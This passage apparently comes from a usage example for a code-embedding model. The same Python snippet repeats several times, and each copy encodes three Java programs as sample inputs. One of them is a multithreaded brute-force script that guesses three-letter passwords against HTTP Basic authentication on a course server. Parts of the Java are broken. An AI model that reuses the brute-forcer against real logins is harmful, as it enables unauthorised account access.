th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = 